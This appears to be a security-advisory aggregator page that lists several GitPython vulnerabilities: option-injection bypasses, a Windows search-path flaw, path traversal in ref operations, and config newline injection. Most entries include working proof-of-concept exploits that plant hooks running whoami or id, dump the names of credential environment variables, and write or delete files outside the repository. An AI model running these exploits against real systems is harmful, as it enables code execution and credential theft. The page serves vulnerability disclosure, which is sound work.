Where
-Infinity
0
Severity
9.8
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary

clone() validates multioptions as the original list, then executes shlex.split(" ".join(multioptions)). A string like "--branch main --config core.hooksPath=/x" passes validation (starts with --branch), but after split becomes ["--branch", "main", "--config", "core.hooksPath=/x"]. Git applies the config and executes attacker hooks during clone.

Details

The vulnerable code is in git/repo/base.py line 1383: python multi = shlex.split(" ".join(multioptions))

Then validation runs on the original list at line 1390: python Git.checkunsafeoptions(options=multioptions, unsafeoptions=cls.unsafegitcloneoptions)

Then execution uses the transformed result at line 1392: python proc = git.clone(multi, "--", url, path, ...)

The check at git/cmd.py line 959 uses startswith: python if option.startswith(unsafeoption) or option == bareoption:

"--branch main --config ..." does not start with "--config", so it passes. After shlex.split, "--config" becomes its own token and reaches git.

Also affects Submodule.update() via clonemultioptions.

PoC

python import sys, pathlib, subprocess sys.path.insert(0, str(pathlib.Path(file).resolve().parent))

from git import Repo from git.exc import UnsafeOptionError

try: Repo.clonefrom("/nonexistent", "/tmp/x", multioptions=["--config", "core.hooksPath=/x"]) except UnsafeOptionError: print("multioptions=['--config', '...']: Block as expected") except Exception: pass

DIR = pathlib.Path(file).resolve().parent / "workdirb" SRC = DIR / "repo" DST = DIR / "dst" HOOKS = DIR / "hooks" LOG = DIR / "output.log"

if not SRC.exists(): SRC.mkdir(parents=True) r = lambda a: subprocess.run(a, cwd=SRC, captureoutput=True) r("git", "init", "-b", "main") (SRC / "f").writetext("x\n") r("git", "add", ".") r("git", "commit", "-m", "init")

HOOKS.mkdir(existok=True) hook = HOOKS / "post-checkout" hook.writetext(f"#!/bin/sh\nwhoami > {LOG.asposix()}\nhostname >> {LOG.asposix()}\n") hook.chmod(0o755)

LOG.unlink(missingok=True) payload = "--branch main --config core.hooksPath=" + HOOKS.asposix()

try: Repo.clonefrom(str(SRC), str(DST), multioptions=[payload]) except UnsafeOptionError: print(f"multioptions=['{payload}']: BLOCKED"); sys.exit(1) except Exception: pass

if not LOG.exists() and DST.exists(): subprocess.run(["git", "checkout", "--force", "main"], cwd=DST, captureoutput=True)

print(f"multioptions=['{payload}']: not blocked") print(f"\nHook executed: {LOG.exists()}") if LOG.exists(): print(LOG.readtext().strip())

Output: multioptions=['--config', '...']: Block as expected multioptions=['--branch main --config core.hooksPath=.../hooks']: not blocked

Hook executed: True texugo DESKTOP-5w5HH79

Impact

Any application passing user input to multioptions in clonefrom(), clone(), or Submodule.update() is vulnerable. Attacker embeds --config core.hooksPath=<dir> inside a string starting with a safe option. Check does not block it. Git executes attacker code. Same class as CVE-2023-40267.

1 / 3
Source: GitHub
First published (updated )
Severity
9.8
Input Validation, Code Injection
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

All versions of package gitpython are vulnerable to Remote Code Execution (RCE) due to improper user input validation, which makes it possible to inject a maliciously crafted remote URL into the clone command. Exploiting this vulnerability is possible because the library makes external calls to git without sufficient sanitization of input arguments.

First published (updated )
Severity
9.8
OS Command Injection, Input Validation
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

GitPython before 3.1.32 does not block insecure non-multi options in clone and clonefrom, making it vulnerable to Remote Code Execution (RCE) due to improper user input validation, which makes it possible to inject a maliciously crafted remote URL into the clone command. Exploiting this vulnerability is possible because the library makes external calls to git without sufficient sanitization of input arguments. NOTE: this issue exists because of an incomplete fix for CVE-2022-24439.

1 / 4
Source: GitHub
First published (updated )
Severity
8.8
OS Command Injection
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Summary GitPython blocks dangerous Git options such as --upload-pack and --receive-pack by default, but the equivalent Python kwargs uploadpack and receivepack bypass that check. If an application passes attacker-controlled kwargs into Repo.clonefrom(), Remote.fetch(), Remote.pull(), or Remote.push(), this leads to arbitrary command execution even when allowunsafeoptions is left at its default value of False.

Details GitPython explicitly treats helper-command options as unsafe because they can be used to execute arbitrary commands:

- git/repo/base.py:145-153 marks clone options such as --upload-pack, -u, --config, and -c as unsafe. - git/remote.py:535-548 marks fetch/pull/push options such as --upload-pack, --receive-pack, and --exec as unsafe.

The vulnerable API paths check the raw kwarg names before they're its normalized into command-line flags:

- Repo.clonefrom() checks list(kwargs.keys()) in git/repo/base.py:1387-1390 - Remote.fetch() checks list(kwargs.keys()) in git/remote.py:1070-1071 - Remote.pull() checks list(kwargs.keys()) in git/remote.py:1124-1125 - Remote.push() checks list(kwargs.keys()) in git/remote.py:1197-1198

That validation is performed by Git.checkunsafeoptions() in git/cmd.py:948-961. The validator correctly blocks option names such as upload-pack, receive-pack, and exec.

Later, GitPython converts Python kwargs into Git command-line flags in Git.transformkwarg() at git/cmd.py:1471-1484. During that step, underscore-form kwargs are dashified:

- uploadpack=... becomes --upload-pack=... - receivepack=... becomes --receive-pack=...

Because the unsafe-option check runs before this normalization, underscore-form kwargs bypass the safety check even though they become the exact dangerous Git flags that the code is supposed to reject.

In practice:

- remote.fetch({"upload-pack": helper}) is blocked with UnsafeOptionError - remote.fetch(uploadpack=helper) is allowed and reaches helper execution

The same bypass works for:

python Repo.clonefrom(origin, out, uploadpack=helper) repo.remote("origin").fetch(uploadpack=helper) repo.remote("origin").pull(uploadpack=helper) repo.remote("origin").push(receivepack=helper)

This does not appear to affect every unsafe option. For example, exec= is already rejected because the raw kwarg name exec matches the blocked option name before normalization.

Existing tests cover the hyphenated form, not the vulnerable underscore form. For example:

- test/testclone.py:129-136 checks {"upload-pack": ...} - test/testremote.py:830-833 checks {"upload-pack": ...} - test/testremote.py:968-975 checks {"receive-pack": ...}

Those tests correctly confirm the literal Git option names are blocked, but they do not exercise the normal Python kwarg spelling that bypasses the guard.

PoC 1. Create and activate a virtual environment in the repository root:

bash python3 -m venv .venv-sec .venv-sec/bin/pip install setuptools gitdb source ./.venv-sec/bin/activate

2. make a new python file and put the following in there, then run it:

python import os import stat import subprocess import tempfile

from git import Repo from git.exc import UnsafeOptionError

Setup: create isolated repositories so the PoC uses a normal fetch flow. base = tempfile.mkdtemp(prefix="gp-poc-risk-") origin = os.path.join(base, "origin.git") producer = os.path.join(base, "producer") victim = os.path.join(base, "victim") proof = os.path.join(base, "proof.txt") wrapper = os.path.join(base, "wrapper.sh")

Setup: this wrapper is just to demo things you can do, not required for the exploit to work you could also do something like an SSH reverse shell, really anything with open(wrapper, "w") as f: f.write(f"""#!/bin/sh {{ echo "codeexec=1" echo "whoami=$(id)" echo "cwd=$(pwd)" echo "uname=$(uname -a)" printf 'argv='; printf '<%s>' "$@"; echo env | grep -E '^(HOME|USER|PATH|SSHAUTHSOCK|CI|GITHUBTOKEN|AWS|AZURE|GOOGLE)=' | sed 's/=.$/=<redacted>/' || true }} > '{proof}' exec git-upload-pack "$@" """) os.chmod(wrapper, stat.SIRWXU)

subprocess.run(["git", "init", "--bare", origin], check=True, stdout=subprocess.DEVNULL) subprocess.run(["git", "clone", origin, producer], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)

with open(os.path.join(producer, "README"), "w") as f: f.write("x")

subprocess.run(["git", "-C", producer, "add", "README"], check=True, stdout=subprocess.DEVNULL) subprocess.run( ["git", "-C", producer, "-c", "user.name=t", "-c", "user.email=t@t", "commit", "-m", "init"], check=True, stdout=subprocess.DEVNULL, ) subprocess.run(["git", "-C", producer, "push", "origin", "HEAD"], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) subprocess.run(["git", "clone", origin, victim], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)

repo = Repo(victim) remote = repo.remote("origin")

the literal Git option name is properly blocked. try: remote.fetch({"upload-pack": wrapper}) print("control=unexpectedsuccess") except UnsafeOptionError: print("control=blocked")

this is the actual vulnerability you can also just do uploadpack="touch /tmp/proof", the wrapper is just to show greater impact if you do the "touch /tmp/proof" the script will crash, but the file will have been created remote.fetch(uploadpack=wrapper)

Proof: the helper ran as the GitPython host process. print("proofexists", os.path.exists(proof), proof) print(open(proof).read())

3. Expected result:

- The script prints control=blocked - The script prints proofexists True ... - The proof file contains evidence that the attacker-controlled helper executed as the local application account, including id, working directory, argv, and selected environment variable names

Example output:

bash GitPython % python3 test.py control=blocked proofexists True /var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/proof.txt codeexec=1 whoami=uid=501(wes) gid=20(staff) <redacted> cwd=/private/var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/victim uname=Darwin <redacted> Darwin Kernel Version <redacted>; root:xnu-11417. <redacted> argv=</var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/origin.git> USER=<redacted> SSHAUTHSOCK=<redacted> PATH=<redacted> HOME=<redacted>

This PoC does not require a malicious repository. The PoC uses that fresh blank repository. The only attacker-controlled input is the kwarg that GitPython turns into --upload-pack.

Impact Who is impacted: - Web applications that let users configure repository import, sync, mirroring, fetch, pull, or push behavior - Systems that accept a user-provided dict of "extra Git options" and pass it into GitPython with kwargs - CI/CD systems, workers, automation bots, or internal tools that build GitPython calls from untrusted integration settings or job definitions (yaml, json, etc configs )

What the attacker needs to control:

- A value that becomes uploadpack or receivepack in the kwargs passed to Repo.clonefrom(), Remote.fetch(), Remote.pull(), or Remote.push()

From a severity perspective, this could lead to - Theft of SSH keys, deploy credentials, API tokens, or cloud credentials available to the process - Modification of repositories, build outputs, or release artifacts - Lateral movement from CI/CD workers or automation hosts - Full compromise of the worker or service process handling repository operations

The highest-risk environments are network-reachable services and automation systems that expose these GitPython kwargs across a trust boundary while relying on the default unsafe-option guard for protection.

1 / 3
Source: GitHub
First published (updated )
Severity
7.8
EPSS
0.05%
AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Summary

This issue exists because of an incomplete fix for CVE-2023-40590. On Windows, GitPython uses an untrusted search path if it uses a shell to run git, as well as when it runs bash.exe to interpret hooks. If either of those features are used on Windows, a malicious git.exe or bash.exe may be run from an untrusted repository.

Details

Although GitPython often avoids executing programs found in an untrusted search path since 3.1.33, two situations remain where this still occurs. Either can allow arbitrary code execution under some circumstances.

When a shell is used

GitPython can be told to run git commands through a shell rather than as direct subprocesses, by passing shell=True to any method that accepts it, or by both setting Git.USESHELL = True and not passing shell=False. Then the Windows cmd.exe shell process performs the path search, and GitPython does not prevent that shell from finding and running git in the current directory.

When GitPython runs git directly rather than through a shell, the GitPython process performs the path search, and currently omits the current directory by setting NoDefaultCurrentDirectoryInExePath in its own environment during the Popen call. Although the cmd.exe shell will honor this environment variable when present, GitPython does not currently pass it into the shell subprocess's environment.

Furthermore, because GitPython sets the subprocess CWD to the root of a repository's working tree, using a shell will run a malicious git.exe in an untrusted repository even if GitPython itself is run from a trusted location.

This also applies if Git.execute is called directly with shell=True (or after Git.USESHELL = True) to run any command.

When hook scripts are run

On Windows, GitPython uses bash.exe to run hooks that appear to be scripts. However, unlike when running git, no steps are taken to avoid finding and running bash.exe in the current directory.

This allows the author of an untrusted fork or branch to cause a malicious bash.exe to be run in some otherwise safe workflows. An example of such a scenario is if the user installs a trusted hook while on a trusted branch, then switches to an untrusted feature branch (possibly from a fork) to review proposed changes. If the untrusted feature branch contains a malicious bash.exe and the user's current working directory is the working tree, and the user performs an action that runs the hook, then although the hook itself is uncorrupted, it runs with the malicious bash.exe.

Note that, while bash.exe is a shell, this is a separate scenario from when git is run using the unrelated Windows cmd.exe shell.

PoC

On Windows, create a git.exe file in a repository. Then create a Repo object, and call any method through it (directly or indirectly) that supports the shell keyword argument with shell=True:

powershell mkdir testrepo git init testrepo cp ... testrepo git.exe # Replace "..." with any executable of choice. python -c "import git; print(git.Repo('testrepo').git.version(shell=True))"

The git.exe executable in the repository directory will be run.

Or use no Repo object, but do it from the location with the git.exe:

powershell cd testrepo python -c "import git; print(git.Git().version(shell=True))"

The git.exe executable in the current directory will be run.

For the scenario with hooks, install a hook in a repository, create a bash.exe file in the current directory, and perform an operation that causes GitPython to attempt to run the hook:

powershell mkdir testrepo cd testrepo git init mv .git/hooks/pre-commit.sample .git/hooks/pre-commit cp ... bash.exe # Replace "..." with any executable of choice. echo "Some text" >file.txt git add file.txt python -c "import git; git.Repo().index.commit('Some message')"

The bash.exe executable in the current directory will be run.

Impact

The greatest impact is probably in applications that set Git.USESHELL = True for historical reasons. (Undesired console windows had, in the past, been created in some kinds of applications, when it was not used.) Such an application may be vulnerable to arbitrary code execution from a malicious repository, even with no other exacerbating conditions. This is to say that, if a shell is used to run git, the full effect of CVE-2023-40590 is still present. Furthermore, as noted above, running the application itself from a trusted directory is not a sufficient mitigation.

An application that does not direct GitPython to use a shell to run git subprocesses thus avoids most of the risk. However, there is no such straightforward way to prevent GitPython from running bash.exe to interpret hooks. So while the conditions needed for that to be exploited are more involved, it may be harder to mitigate decisively prior to patching.

Possible solutions

A straightforward approach would be to address each bug directly:

- When a shell is used, pass NoDefaultCurrentDirectoryInExePath into the subprocess environment, because in that scenario the subprocess is the cmd.exe shell that itself performs the path search. - Set NoDefaultCurrentDirectoryInExePath in the GitPython process environment during the Popen call made to run hooks with a bash.exe subprocess.

These need only be done on Windows.

1 / 3
Source: GitHub
First published (updated )
Severity
7.8
Path Traversal
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

đź§ľ Summary

A vulnerability in GitPython allows attackers who can supply a crafted reference path to an application using GitPython to write, overwrite, move, or delete files outside the repository’s .git directory via insufficient validation of reference paths in reference creation, rename, and delete operations.

---

📦 Affected Versions

Affected: <= 3.1.46 and current main (3.1.47 in local checkout)

---

đź§  Details

Vulnerability Type

Path Traversal leading to Arbitrary File Write and Arbitrary File Deletion

---

Root Cause

Reference paths are validated when they are resolved for reading, but are not consistently validated before filesystem write, rename, and delete operations.

SymbolicReference.checkrefnamevalid() rejects traversal sequences such as .., but SymbolicReference.create, Reference.create, SymbolicReference.setreference, SymbolicReference.rename, and SymbolicReference.delete still construct filesystem paths from attacker-controlled ref names without enforcing repository boundaries.

---

Affected Code

python def setreference(self, ref, logmsg=None): ... fpath = self.abspath assuredirectoryexists(fpath, isfile=True)

lfd = LockedFD(fpath) fd = lfd.open(write=True, stream=True) ...

python @classmethod def delete(cls, repo, path): fullrefpath = cls.tofullpath(path) abspath = os.path.join(repo.commondir, fullrefpath) if os.path.exists(abspath): os.remove(abspath)

python def rename(self, newpath, force=False): newpath = self.tofullpath(newpath) newabspath = os.path.join(gitdir(self.repo, newpath), newpath) curabspath = os.path.join(gitdir(self.repo, self.path), self.path) ... os.rename(curabspath, newabspath)

---

Attack Vector

Local attack through application-controlled input passed into GitPython reference APIs

Authentication Required

None at the library boundary. In practice, exploitation requires the ability to influence ref names supplied by the consuming application.

---

đź§Ş Proof of Concept

Setup

bash pip install GitPython==3.1.46 python poc.py

---

Exploit

python import shutil from pathlib import Path

from git import Repo from git.refs.reference import Reference from git.refs.symbolic import SymbolicReference

base = Path("gp-ghsa-poc").resolve() if base.exists(): shutil.rmtree(base)

repodir = base / "repo" repo = Repo.init(repodir)

(repodir / "a.txt").writetext("init\n", encoding="utf-8") repo.index.add(["a.txt"]) repo.index.commit("init")

outsidewrite = base / "outsidewrite.txt" outsidedelete = base / "outsidedelete.txt" outsidedelete.writetext("DELETE ME\n", encoding="utf-8")

print(f"repodir = {repodir}") print(f"outsidewrite = {outsidewrite}") print(f"outsidedelete = {outsidedelete}")

Reference.create(repo, "../../../outsidewrite.txt", "HEAD")

print("\n[+] outsidewrite exists:", outsidewrite.exists()) if outsidewrite.exists(): print("[+] outsidewrite content:") print(outsidewrite.readtext(encoding="utf-8"))

SymbolicReference.delete(repo, "../../../outsidedelete.txt")

print("\n[+] outsidedelete exists after delete:", outsidedelete.exists())

---

Result

text repodir = ...\gp-ghsa-poc\repo outsidewrite = ...\gp-ghsa-poc\outsidewrite.txt outsidedelete = ...\gp-ghsa-poc\outsidedelete.txt

[+] outsidewrite exists: True [+] outsidewrite content: <current HEAD commit SHA>

[+] outsidedelete exists after delete: False

---

đź’Ą Impact

What can an attacker do?

Create or overwrite files outside the repository metadata directory Delete attacker-chosen files reachable from the process permissions Corrupt application state or configuration files Cause denial of service by deleting or overwriting important files

---

Security Impact

Confidentiality: Low Integrity: High Availability: High

---

Who is affected?

Applications that expose GitPython reference operations to user-controlled input Git automation services, repository management backends, CI/CD helpers, and developer platforms Multi-user environments where one user can influence ref names processed on behalf of another workflow

---

🛠️ Mitigation / Fix

Recommended Fix

python def validaterefwritepath(repo, path, , forgitdir=False): SymbolicReference.checkrefnamevalid(path)

base = Path(repo.gitdir if forgitdir else repo.commondir).resolve() target = (base / path).resolve()

if base not in [target, target.parents]: raise ValueError(f"Reference path escapes repository boundary: {path}")

return str(target)

python fullrefpath = cls.tofullpath(path) validaterefwritepath(repo, fullrefpath)

1 / 3
Source: GitHub
First published (updated )
Severity
7.8
Code Injection
AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

GitConfigParser.setvalue() passes values to Python's configparser without validating for newlines. GitPython's own write() converts embedded newlines into indented continuation lines (e.g. \n becomes \n\t), but Git still accepts an indented [core] stanza as a section header — so the injected core.hooksPath becomes effective configuration. Any Git operation that invokes hooks (commit, merge, checkout) will then execute scripts from the attacker-controlled path.

The vulnerability is not merely malformed config output: GitPython's own writer converts embedded newlines into indented continuation lines, but Git still accepts an indented [core] stanza as a section header, so the injected core.hooksPath becomes effective configuration.

This was found while auditing MLRun's project.push() method, which passes authorname and authoremail directly to configwriter().setvalue() with no sanitization. Both parameters cross a trust boundary — they are caller-supplied API inputs that end up in .git/config.

PoC (standalone, no MLRun required):

python import git, subprocess, os

repo = git.Repo("/tmp/testrepo")

with repo.configwriter() as cw: cw.setvalue("user", "name", "foo\n[core]\nhooksPath=/tmp/hooks")

r = subprocess.run(["git", "config", "core.hooksPath"], cwd="/tmp/testrepo", captureoutput=True, text=True) assert r.returncode == 0 print(r.stdout.strip()) # /tmp/hooks

os.makedirs("/tmp/hooks", existok=True) open("/tmp/hooks/pre-commit", "w").write("#!/bin/sh\nid > /tmp/pwned\n") os.chmod("/tmp/hooks/pre-commit", 0o755)

repo.index.add(["README"]) repo.git.commit(m="test") print(open("/tmp/pwned").read()) # uid=...

Tested on GitPython 3.1.46, git 2.39+.

Impact: This is persistent repo config poisoning. Any user who can supply authorname or authoremail to an application calling configwriter().setvalue() can redirect Git hook execution to an arbitrary path. In a multi-user or hosted environment (e.g. a shared MLRun server where multiple users push to the same repositories), one user can poison the .git/config of a shared repo and have their hooks run in the context of every subsequent Git operation by any user. On single-user deployments, the impact depends on whether the application later invokes Git hooks automatically.

Remediation: setvalue() should raise on CR, LF, or NUL in values rather than silently pass them through:

python import re

if isinstance(value, (str, bytes)) and re.search(r"[\r\n\x00]", str(value)): raise ValueError("Git config values must not contain CR, LF, or NUL")

Rejecting is safer than stripping — a stripped newline might indicate the caller is passing unsanitized input at a higher level, and silent normalization masks that.

Affected wherever configwriter().setvalue(section, key, userinput) is called with external input. GitPython is a dependency of DVC, MLflow, Kedro, and others — worth auditing their setvalue() call sites for externally influenced inputs.

1 / 3
Source: GitHub
First published (updated )
Severity
6.5
Path Traversal
AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Summary

In order to resolve some git references, GitPython reads files from the .git directory, in some places the name of the file being read is provided by the user, GitPython doesn't check if this file is located outside the .git directory. This allows an attacker to make GitPython read any file from the system.

Details

This vulnerability is present in

https://github.com/gitpython-developers/GitPython/blob/1c8310d7cae144f74a671cbe17e51f63a830adbf/git/refs/symbolic.py#L174-L175

That code joins the base directory with a user given string without checking if the final path is located outside the base directory.

I was able to exploit it from three places, but there may be more code paths that lead to it:

https://github.com/gitpython-developers/GitPython/blob/1c8310d7cae144f74a671cbe17e51f63a830adbf/git/repo/base.py#L605

https://github.com/gitpython-developers/GitPython/blob/1c8310d7cae144f74a671cbe17e51f63a830adbf/git/repo/base.py#L620

https://github.com/gitpython-developers/GitPython/blob/1c8310d7cae144f74a671cbe17e51f63a830adbf/git/index/base.py#L1353

PoC

Running GitPython within any repo should work, here is an example with the GitPython repo.

python import git

r = git.Repo(".")

This will make GitPython read the README.md file from the root of the repo r.commit("../README.md") r.tree("../README.md") r.index.diff("../README.md")

Reading /etc/random WARNING: this will probably halt your system, run with caution r.commit("../../../../../../../../../dev/random")

Impact

I wasn't able to show the contents of the files (that's why "blind" local file inclusion), depending on how GitPython is being used, this can be used by an attacker for something inoffensive as checking if a file exits, or cause a DoS by making GitPython read a big/infinite file (like /dev/random on Linux systems).

Possible solutions

A solution would be to check that the final path isn't located outside the repodir path (maybe even after resolving symlinks). Maybe there could be other checks in place to make sure that the reference names are valid.

1 / 5
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203